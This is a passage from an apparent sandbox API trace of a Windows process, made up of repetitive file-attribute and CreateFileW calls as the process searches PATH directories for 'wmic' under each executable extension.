ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.277] CreateFileW (lpFileName="wmic.wsh" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.277] GetFileAttributesExW (in: lpFileName="wmic.msc" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.277] CreateFileW (lpFileName="wmic.msc" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.277] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc0000561a0, nSize=0x64 | out: lpBuffer="") returned 0xc9 [0145.278] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000 [0145.278] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc00005e000, nSize=0xc9 | out: lpBuffer="") returned 0xc8 [0145.278] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000 [0145.279] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000 [0145.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.286] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.291] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.292] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.292] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.292] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.292] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.292] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.292] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.292] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.293] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.293] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.294] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.294] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.294] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.295] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.295] CreateFileW (lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.296] CreateFileW (lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.296] CreateFileW (lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.296] CreateFileW (lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.297] CreateFileW (lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.297] CreateFileW (lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 